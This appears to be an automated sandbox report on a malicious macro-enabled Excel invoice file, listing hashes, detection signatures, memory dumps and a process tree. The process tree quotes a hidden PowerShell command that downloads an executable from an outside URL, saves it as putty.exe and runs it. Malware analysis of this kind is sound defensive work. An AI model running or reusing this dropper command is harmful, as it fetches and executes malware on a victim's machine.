Overview

overview

10

Static

static

INV100720.xlsm

windows7_x64

10

INV100720.xlsm

windows10_x64

10

Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    11/07/2020, 06:07

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General

  • Target

    INV100720.xlsm

  • Size

    399KB

  • MD5

    97d1bf3b13839cb70157bbebc2ab1f8c

  • SHA1

    b12d4e4b14d3b443e1abb9b6a5a9b6b74de2686a

  • SHA256

    9a63be97d600c50abdddc22afd998e25ddac5030bcc4846b97cf7e1932eae7b8

  • SHA512

    1bf7e0619db7bbf6bdf4a67608f5d74144ee114c769554e15af72bbd027d792f0e68cf36ea4839b6d37bafab14f73a240ef9d5381f83726a147e51a62e533bb0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://comawhimplet.com/nccd.exe

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\INV100720.xlsm
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://comawhimplet.com/nccd.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Suspicious behavior: GetForegroundWindowSpam
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      PID:1804

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        • memory/1612-1-0x0000000007320000-0x0000000007420000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1612-3-0x0000000007320000-0x0000000007420000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1612-4-0x0000000007320000-0x0000000007420000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1612-5-0x0000000007320000-0x0000000007420000-memory.dmp

          Filesize

          1024KB

          Download